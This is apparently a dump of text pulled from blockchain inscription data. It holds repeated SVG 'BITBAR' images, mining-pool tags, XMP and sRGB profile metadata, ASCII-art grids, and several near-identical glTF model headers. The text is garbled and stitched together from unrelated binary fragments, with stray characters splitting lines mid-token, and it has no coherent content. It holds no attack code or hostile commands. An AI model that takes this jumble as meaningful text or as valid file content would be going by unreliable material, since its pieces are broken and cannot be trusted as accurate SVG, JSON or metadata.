9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
c/Foundry USA Pool #dropgold/
text/plain;charset=utf-8
text/plain;charset=utf-8
7j5ion:22.QmU8rz7Yzxdku3XBhQ8XVWT1km6fpRgZFMucA9fT3dNFqd
YiTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
FjDOUT:CB094927ADB8F42B22EF98F6D4C8567AC974107165FC035DE3DA3B16E41F0259
4j2DC-L5:CPouPRk6+ARErvAKihoAMTy8NBuWW2rlGNzZxbGoGW4=
FjDOUT:E4222E789CA1CBDC084F2F8077C8C0498C6402FCBBEA61119ED73A454766E074
qqwqnVal9CLWQK=GQ+4=
}z?HQO?>>*4'(*kbdS^h4.+1
c/Foundry USA Pool #dropgold/
FjDOUT:2D65411DA5BBB28B6A0C5FB1DE46882B389AADE7DF911E0EEE51A547C11EEE13
http://ns.adobe.com/xap/1.0/
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:Description rdf:about="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b" xmlns:xmp="http://ns.adobe.com/xap/1.0/"><xmp:CreateDate>2023-02-13T17:05:22</xmp:CreateDate></rM
df:Description></rdf:RDF></x:xmpmeta>
((((((((((((((((((((((((((((((((((((((((((((((((((
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
 .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO
&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
Aj?=:BNB.BNB:bnb128z3zy9yj6d3hdrz54f4ly6r3ydhexerv3xjqn:8959192::0
\RN+%#scbztqaYV_PMQHG
text/plain;charset=utf-8
...../..\..\.....X..........\......\..........X.....\..\../.....
....X../....\..\.X../..../............/..../..X.\..\..../..X....
.........\\.......//.......X\\....\\X.......//.......\\.........
..../.....\X..../.....\.....X......X.....\...../....X\...../....
.X./.............../.\.....././.././......\./.............../.X.
/......\...\..X......X....../....../......X......X..\...\....../
.........................X.X.XX..XX.X.X.........................
./...\.......X../...X...X..\...\\...\..X...X.../..X.......\.../.
\........\.\./.X....\./.X.X..........X.X./.\....X./.\.\........\
..\.....\...X\........../..../\..\/..../..........\X...\.....\..
..\\.........\\.........\\............\\.........\\.........\\..
\..X.\..\../......./......./......../......./......./..\..\.X..\
.\.......X../..\.......X../..\....\../..X.......\../..X.......\.
.......X/\\..........\....................\..........\\/X.......
.....X....\....\....\X..../....XX..../....X\....\....\....X.....
.\......X...\.\.\......../.\./..../.\./........\.\.\...X......\.
.../.../.......\....../...X.../../...X.../......\......./.../...
XX............................................................XX
../................/...X..\..\....\..\..X.../................/..
.././....../....../......../......../......../....../.....././..
./.....X\.....\...../....XX..........XX..../.....\.....\X...../.
....\X.......\X......\X........//........X\......X\.......X\....
...\..../......./....X....\..X.\\.X..\....X..../......./....\...
............X.....X.....X..X........X..X.....X.....X............
.......XX/\............X/\/\........\/\/X............\/XX.......
./....X...\..../....X...\..../..../....\...X..../....\...X..../.
........X..././.X.\.X.\./...\......\.../.\.X.\.X././...X........
..X...X\.../...\.../...X\..............\X.../...\.../...\X...X..
\.\X//....................\.\X////X\.\....................//X\.\
..\...X../..\../..\...X../..X..//..X../..X...\../..\../..X...\..
..../.X..\....../.........../....../.........../......\..X./....
.......\......X....../\.....//....//.....\/......X......\.......
.......\......X....../\.....//....//.....\/......X......\.......
..../.X..\....../.........../....../.........../......\..X./....
..\...X../..\../..\...X../..X..//..X../..X...\../..\../..X...\..
\.\X//....................\.\X////X\.\....................//X\.\
..X...X\.../...\.../...X\..............\X.../...\.../...\X...X..
........X..././.X.\.X.\./...\......\.../.\.X.\.X././...X........
./....X...\..../....X...\..../..../....\...X..../....\...X..../.
.......XX/\............X/\/\........\/\/X............\/XX.......
............X.....X.....X..X........X..X.....X.....X............
...\..../......./....X....\..X.\\.X..\....X..../......./....\...
....\X.......\X......\X........//........X\......X\.......X\....
./.....X\.....\...../....XX..........XX..../.....\.....\X...../.
.././....../....../......../......../......../....../.....././..
../................/...X..\..\....\..\..X.../................/..
XX............................................................XX
.../.../.......\....../...X.../../...X.../......\......./.../...
.\......X...\.\.\......../.\./..../.\./........\.\.\...X......\.
.....X....\....\....\X..../....XX..../....X\....\....\....X.....
.......X/\\..........\....................\..........\\/X.......
.\.......X../..\.......X../..\....\../..X.......\../..X.......\.
\..X.\..\../......./......./......../......./......./..\..\.X..\
..\\.........\\.........\\............\\.........\\.........\\..
..\.....\...X\........../..../\..\/..../..........\X...\.....\..
\........\.\./.X....\./.X.X..........X.X./.\....X./.\.\........\
./...\.......X../...X...X..\...\\...\..X...X.../..X.......\.../.
.........................X.X.XX..XX.X.X.........................
/......\...\..X......X....../....../......X......X..\...\....../
.X./.............../.\.....././.././......\./.............../.X.
..../.....\X..../.....\.....X......X.....\...../....X\...../....
.........\\.......//.......X\\....\\X.......//.......\\.........
....X../....\..\.X../..../............/..../..X.\..\..../..X....
...../..\..\.....X..........\......\..........X.....\..\../.....
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
!2$'$'$2M080080MDRC>CRDz_UU_z
!2$'$'$2M080080MDRC>CRDz_UU_z
text/plain;charset=utf-8
\/\//\/\////\////\////////////////////////////X////X////X/X//X/X
/.\X./.\..X.\..X./..X./.\.\X.\.\X.X.\X.X./.\../.\..X.\..X./.\X./
\\...X\\.../\\..X/\..XX/...XX\....X\\.../\\..X/\..XX/...XX\...XX
/X../X..\X..\/.../X.\/X../...\X..\X.../..\/X.\/.../X..\X..\/..\/
/../.X/.X..X..X..X../../..\..\.X\.X..X../../..\..\..\..\./\./../
\/XXX........\\\//XXX.......\\\//XXX.......\\\//XXX........\\\/X
/.\./.\...\X.X.X./.X./.\./.\.\.\X.X.X./.X./.\./.\.\.\X...X./.X./
\\\....XX/\\....X//\......///......///......X//\....XX/\\....XXX
/..\X..X../..\X.\X../..\..\X../../..\X..X../..\X.\X../..\..\X../
/..X.../..X\../..X\../..X\../..X\../..X\../..X\../..X\../...\../
/X....\\/XX....\/XX...\/XX....\//X....\\/X...\\/X....\\/XX....\/
/./.X.X\.\././.X.X..\.\.\././.X\X\././.X.X.X..\.\././.X.X\.\././
\\\\............XXXX////\\\\........XXXX////\\\\............XXXX
/.\/.\X.\../..X.\X.\X./..X./X./../.\/.\../.\X.\X.\../..X.\X./X./
/...X\..X/...X\..X/...X\.../...X\.../...X\.../\..X\.../\..X\.../
/X...\X...\X...\/...\/...\//...//...//X.../X.../X...\X...\X...\/
/.X../.X\./.X\./.X\.X.X\.X.X\.X\X\.X\.\.X\.\.X\./.X\./.X\./..\./
\///X///XXXXXXX.XX...X....................\...\\.\\\\\\\///\///X
/.\X.X./.\X.X./.\..X./.\.\/./.\..X././X.X./.\..X./.\.\X./.\.\X./
/....XX\....X\....X/\...XX\....X\....X\\...X/\....X\....X\\..../
/X.\/X../..\/X.\X..\/..\X..\X..//..\X..\X../X..\X.\/X../..\/X.\/
/.X/../../../../.X/../../../../../../../../../\./../../../../\./
//XX......\\//X.X.....\\\//XX......\\//XXX.....\.\//XX......\\//
/././.\.\././.\.\.\.\.\X\.\.\.\..X.X.X.X\X.X.X.X.X././.X.X./././
/\.......XX\\......XX/\\......XX\\......XX/\\......XX\\.......X/
/../../..\X.\X.\X.\X../../../..//../../../..\X.\X.\X.\X../../../
/\..\../\../\../../\../\../..X/../\../..X/..X/../..X/..X/..X..X/
/XX...\/X...\///X...\/X....\/X....\/X....\/X...\///X...\/X...\\/
/.X..\./././.X..\./.X.X\././.X....\././.X\.\./.X..\./././.X..\./
/\\\\\\...................XXXXXX\\\\\\...................XXXXXX/
/..X.\../.\X./..X.\../.\X./..X.\X.\../.\X./..X.\../.\X./..X.\../
/\..X/\..X/\..X/\..X/...X/...X\..X\.../\.../\..X/\..X/\..X/\..X/
/\..X/\..X/\..X/\..X/...X/...X\..X\.../\.../\..X/\..X/\..X/\..X/
/..X.\../.\X./..X.\../.\X./..X.\X.\../.\X./..X.\../.\X./..X.\../
/\\\\\\...................XXXXXX\\\\\\...................XXXXXX/
/.X..\./././.X..\./.X.X\././.X....\././.X\.\./.X..\./././.X..\./
/XX...\/X...\///X...\/X....\/X....\/X....\/X...\///X...\/X...\\/
/\..\../\../\../../\../\../..X/../\../..X/..X/../..X/..X/..X..X/
/../../..\X.\X.\X.\X../../../..//../../../..\X.\X.\X.\X../../../
/\.......XX\\......XX/\\......XX\\......XX/\\......XX\\.......X/
/././.\.\././.\.\.\.\.\X\.\.\.\..X.X.X.X\X.X.X.X.X././.X.X./././
//XX......\\//X.X.....\\\//XX......\\//XXX.....\.\//XX......\\//
/.X/../../../../.X/../../../../../../../../../\./../../../../\./
/X.\/X../..\/X.\X..\/..\X..\X..//..\X..\X../X..\X.\/X../..\/X.\/
/....XX\....X\....X/\...XX\....X\....X\\...X/\....X\....X\\..../
/.\X.X./.\X.X./.\..X./.\.\/./.\..X././X.X./.\..X./.\.\X./.\.\X./
\///X///XXXXXXX.XX...X....................\...\\.\\\\\\\///\///X
/.X../.X\./.X\./.X\.X.X\.X.X\.X\X\.X\.\.X\.\.X\./.X\./.X\./..\./
/X...\X...\X...\/...\/...\//...//...//X.../X.../X...\X...\X...\/
/...X\..X/...X\..X/...X\.../...X\.../...X\.../\..X\.../\..X\.../
/.\/.\X.\../..X.\X.\X./..X./X./../.\/.\../.\X.\X.\../..X.\X./X./
\\\\............XXXX////\\\\........XXXX////\\\\............XXXX
/./.X.X\.\././.X.X..\.\.\././.X\X\././.X.X.X..\.\././.X.X\.\././
/X....\\/XX....\/XX...\/XX....\//X....\\/X...\\/X....\\/XX....\/
/..X.../..X\../..X\../..X\../..X\../..X\../..X\../..X\../...\../
/..\X..X../..\X.\X../..\..\X../../..\X..X../..\X.\X../..\..\X../
\\\....XX/\\....X//\......///......///......X//\....XX/\\....XXX
/.\./.\...\X.X.X./.X./.\./.\.\.\X.X.X./.X./.\./.\.\.\X...X./.X./
\/XXX........\\\//XXX.......\\\//XXX.......\\\//XXX........\\\/X
/../.X/.X..X..X..X../../..\..\.X\.X..X../../..\..\..\..\./\./../
/X../X..\X..\/.../X.\/X../...\X..\X.../..\/X.\/.../X..\X..\/..\/
\\...X\\.../\\..X/\..XX/...XX\....X\\.../\\..X/\..XX/...XX\...XX
/.\X./.\..X.\..X./..X./.\.\X.\.\X.X.\X.X./.\../.\..X.\..X./.\X./
\/\//\/\////\////\////////////////////////////X////X////X/X//X/X
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
+++++++++++++++++++++++(&
Bj@32de85e38952bd1e03bd39f691e7af05b62a858012e178a40002cad5d7d35bff
TUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
JSON{"asset":{"generator":"Khronos glTF Blender I/O v3.2.40","version":"2.0"},"scene":0,"scenes":[{"name":"Scene","nodes":[0]}],"nodes":[{"mesh":0,"name":"s.0043","rotation":[0.4931390881538391,0.4744095206260681,-0.5048378705978394,0.5262017250061035],"translation":[0.0024276599287986755,0.8914594650268555,-0.024406246840953827]}],"materials":[{"doubleSided":true,"name":"Standard_C2B4FF.001","pbrMetallicRoughness":{"baseColorFactor":[0,0,0,1],"metallicFactor":0,"roughnessFactor":0.5527864098548889}M
}],"meshes":[{"name":"s.003","primitives":[{"attributes":{"POSITION":0,"NORMAL":1,"TEXCOORD_0":2,"TEXCOORD_1":3},"indices":4,"material":0}]}],"accessors":[{"bufferView":0,"componentType":5126,"count":732,"max":[0.13621681928634644,0.6445186138153076,0.9140474796295166],"min":[-0.1682738959789276,-0.6439281702041626,-0.7871073484420776],"type":"VEC3"},{"bufferView":1,"componentType":5126,"count":732,"type":"VEC3"},{"bufferView":2,"componentType":5126,"count":732,"type":"VEC2"},{"bufferView":3,"componentType":5126,"cM
ount":732,"type":"VEC2"},{"bufferView":4,"componentType":5123,"count":1104,"type":"SCALAR"}],"bufferViews":[{"buffer":0,"byteLength":8784,"byteOffset":0},{"buffer":0,"byteLength":8784,"byteOffset":8784},{"buffer":0,"byteLength":5856,"byteOffset":17568},{"buffer":0,"byteLength":5856,"byteOffset":23424},{"buffer":0,"byteLength":2208,"byteOffset":29280}],"buffers":[{"byteLength":31488}]}
JSON{"asset":{"generator":"Khronos glTF Blender I/O v3.2.40","version":"2.0"},"scene":0,"scenes":[{"name":"Scene","nodes":[0]}],"nodes":[{"mesh":0,"name":"s.0043","rotation":[0.4931390881538391,0.4744095206260681,-0.5048378705978394,0.5262017250061035],"translation":[0.0024276599287986755,0.8914594650268555,-0.024406246840953827]}],"materials":[{"doubleSided":true,"name":"Standard_C2B4FF.001","pbrMetallicRoughness":{"baseColorFactor":[1,0.10403448343276978,0,1],"metallicFactor":0,"roughnessFactor":0M
.5527864098548889}}],"meshes":[{"name":"s.003","primitives":[{"attributes":{"POSITION":0,"NORMAL":1,"TEXCOORD_0":2,"TEXCOORD_1":3},"indices":4,"material":0}]}],"accessors":[{"bufferView":0,"componentType":5126,"count":732,"max":[0.13621681928634644,0.6445186138153076,0.9140474796295166],"min":[-0.1682738959789276,-0.6439281702041626,-0.7871073484420776],"type":"VEC3"},{"bufferView":1,"componentType":5126,"count":732,"type":"VEC3"},{"bufferView":2,"componentType":5126,"count":732,"type":"VEC2"},{"bufferView":3,"compM
onentType":5126,"count":732,"type":"VEC2"},{"bufferView":4,"componentType":5123,"count":1104,"type":"SCALAR"}],"bufferViews":[{"buffer":0,"byteLength":8784,"byteOffset":0},{"buffer":0,"byteLength":8784,"byteOffset":8784},{"buffer":0,"byteLength":5856,"byteOffset":17568},{"buffer":0,"byteLength":5856,"byteOffset":23424},{"buffer":0,"byteLength":2208,"byteOffset":29280}],"buffers":[{"byteLength":31488}]}
JSON{"asset":{"generator":"Khronos glTF Blender I/O v3.2.40","version":"2.0"},"scene":0,"scenes":[{"name":"Scene","nodes":[0]}],"nodes":[{"mesh":0,"name":"s.0043","rotation":[0.4931390881538391,0.4744095206260681,-0.5048378705978394,0.5262017250061035],"translation":[0.0024276599287986755,0.8914594650268555,-0.024406246840953827]}],"materials":[{"doubleSided":true,"name":"Standard_C2B4FF.001","pbrMetallicRoughness":{"baseColorFactor":[0.2241063117980957,0,1,1],"metallicFactor":0,"roughnessFactor":0.M
5527864098548889}}],"meshes":[{"name":"s.003","primitives":[{"attributes":{"POSITION":0,"NORMAL":1,"TEXCOORD_0":2,"TEXCOORD_1":3},"indices":4,"material":0}]}],"accessors":[{"bufferView":0,"componentType":5126,"count":732,"max":[0.13621681928634644,0.6445186138153076,0.9140474796295166],"min":[-0.1682738959789276,-0.6439281702041626,-0.7871073484420776],"type":"VEC3"},{"bufferView":1,"componentType":5126,"count":732,"type":"VEC3"},{"bufferView":2,"componentType":5126,"count":732,"type":"VEC2"},{"bufferView":3,"compoM
nentType":5126,"count":732,"type":"VEC2"},{"bufferView":4,"componentType":5123,"count":1104,"type":"SCALAR"}],"bufferViews":[{"buffer":0,"byteLength":8784,"byteOffset":0},{"buffer":0,"byteLength":8784,"byteOffset":8784},{"buffer":0,"byteLength":5856,"byteOffset":17568},{"buffer":0,"byteLength":5856,"byteOffset":23424},{"buffer":0,"byteLength":2208,"byteOffset":29280}],"buffers":[{"byteLength":31488}]}
JSON{"asset":{"generator":"Khronos glTF Blender I/O v3.2.40","version":"2.0"},"scene":0,"scenes":[{"name":"Scene","nodes":[0]}],"nodes":[{"mesh":0,"name":"s.0043","rotation":[0.4931390881538391,0.4744095206260681,-0.5048378705978394,0.5262017250061035],"translation":[0.0024276599287986755,0.8914594650268555,-0.024406246840953827]}],"materials":[{"doubleSided":true,"name":"Standard_C2B4FF.001","pbrMetallicRoughness":{"baseColorFactor":[0.00461991410702467,1,0,1],"metallicFactor":0,"roughnessFactor":0M
.5527864098548889}}],"meshes":[{"name":"s.003","primitives":[{"attributes":{"POSITION":0,"NORMAL":1,"TEXCOORD_0":2,"TEXCOORD_1":3},"indices":4,"material":0}]}],"accessors":[{"bufferView":0,"componentType":5126,"count":732,"max":[0.13621681928634644,0.6445186138153076,0.9140474796295166],"min":[-0.1682738959789276,-0.6439281702041626,-0.7871073484420776],"type":"VEC3"},{"bufferView":1,"componentType":5126,"count":732,"type":"VEC3"},{"bufferView":2,"componentType":5126,"count":732,"type":"VEC2"},{"bufferView":3,"compM
onentType":5126,"count":732,"type":"VEC2"},{"bufferView":4,"componentType":5123,"count":1104,"type":"SCALAR"}],"bufferViews":[{"buffer":0,"byteLength":8784,"byteOffset":0},{"buffer":0,"byteLength":8784,"byteOffset":8784},{"buffer":0,"byteLength":5856,"byteOffset":17568},{"buffer":0,"byteLength":5856,"byteOffset":23424},{"buffer":0,"byteLength":2208,"byteOffset":29280}],"buffers":[{"byteLength":31488}]}
JSON{"asset":{"generator":"Khronos glTF Blender I/O v3.2.40","version":"2.0"},"scene":0,"scenes":[{"name":"Scene","nodes":[0]}],"nodes":[{"mesh":0,"name":"s.0043","rotation":[0.4931390881538391,0.4744095206260681,-0.5048378705978394,0.5262017250061035],"translation":[0.0024276599287986755,0.8914594650268555,-0.024406246840953827]}],"materials":[{"doubleSided":true,"name":"Standard_C2B4FF.001","pbrMetallicRoughness":{"baseColorFactor":[1,0.601819634437561,0,1],"metallicFactor":0,"roughnessFactor":0.5M
527864098548889}}],"meshes":[{"name":"s.003","primitives":[{"attributes":{"POSITION":0,"NORMAL":1,"TEXCOORD_0":2,"TEXCOORD_1":3},"indices":4,"material":0}]}],"accessors":[{"bufferView":0,"componentType":5126,"count":732,"max":[0.13621681928634644,0.6445186138153076,0.9140474796295166],"min":[-0.1682738959789276,-0.6439281702041626,-0.7871073484420776],"type":"VEC3"},{"bufferView":1,"componentType":5126,"count":732,"type":"VEC3"},{"bufferView":2,"componentType":5126,"count":732,"type":"VEC2"},{"bufferView":3,"componM
entType":5126,"count":732,"type":"VEC2"},{"bufferView":4,"componentType":5123,"count":1104,"type":"SCALAR"}],"bufferViews":[{"buffer":0,"byteLength":8784,"byteOffset":0},{"buffer":0,"byteLength":8784,"byteOffset":8784},{"buffer":0,"byteLength":5856,"byteOffset":17568},{"buffer":0,"byteLength":5856,"byteOffset":23424},{"buffer":0,"byteLength":2208,"byteOffset":29280}],"buffers":[{"byteLength":31488}]}
JSON{"asset":{"generator":"Khronos glTF Blender I/O v3.2.40","version":"2.0"},"scene":0,"scenes":[{"name":"Scene","nodes":[0]}],"nodes":[{"mesh":0,"name":"s.0043","rotation":[0.4931390881538391,0.4744095206260681,-0.5048378705978394,0.5262017250061035],"translation":[0.0024276599287986755,0.8914594650268555,-0.024406246840953827]}],"materials":[{"doubleSided":true,"name":"Standard_C2B4FF.001","pbrMetallicRoughness":{"baseColorFactor":[0,0.0019953162409365177,1,1],"metallicFactor":0,"roughnessFactor"M
:0.5527864098548889}}],"meshes":[{"name":"s.003","primitives":[{"attributes":{"POSITION":0,"NORMAL":1,"TEXCOORD_0":2,"TEXCOORD_1":3},"indices":4,"material":0}]}],"accessors":[{"bufferView":0,"componentType":5126,"count":732,"max":[0.13621681928634644,0.6445186138153076,0.9140474796295166],"min":[-0.1682738959789276,-0.6439281702041626,-0.7871073484420776],"type":"VEC3"},{"bufferView":1,"componentType":5126,"count":732,"type":"VEC3"},{"bufferView":2,"componentType":5126,"count":732,"type":"VEC2"},{"bufferView":3,"coM
mponentType":5126,"count":732,"type":"VEC2"},{"bufferView":4,"componentType":5123,"count":1104,"type":"SCALAR"}],"bufferViews":[{"buffer":0,"byteLength":8784,"byteOffset":0},{"buffer":0,"byteLength":8784,"byteOffset":8784},{"buffer":0,"byteLength":5856,"byteOffset":17568},{"buffer":0,"byteLength":5856,"byteOffset":23424},{"buffer":0,"byteLength":2208,"byteOffset":29280}],"buffers":[{"byteLength":31488}]}
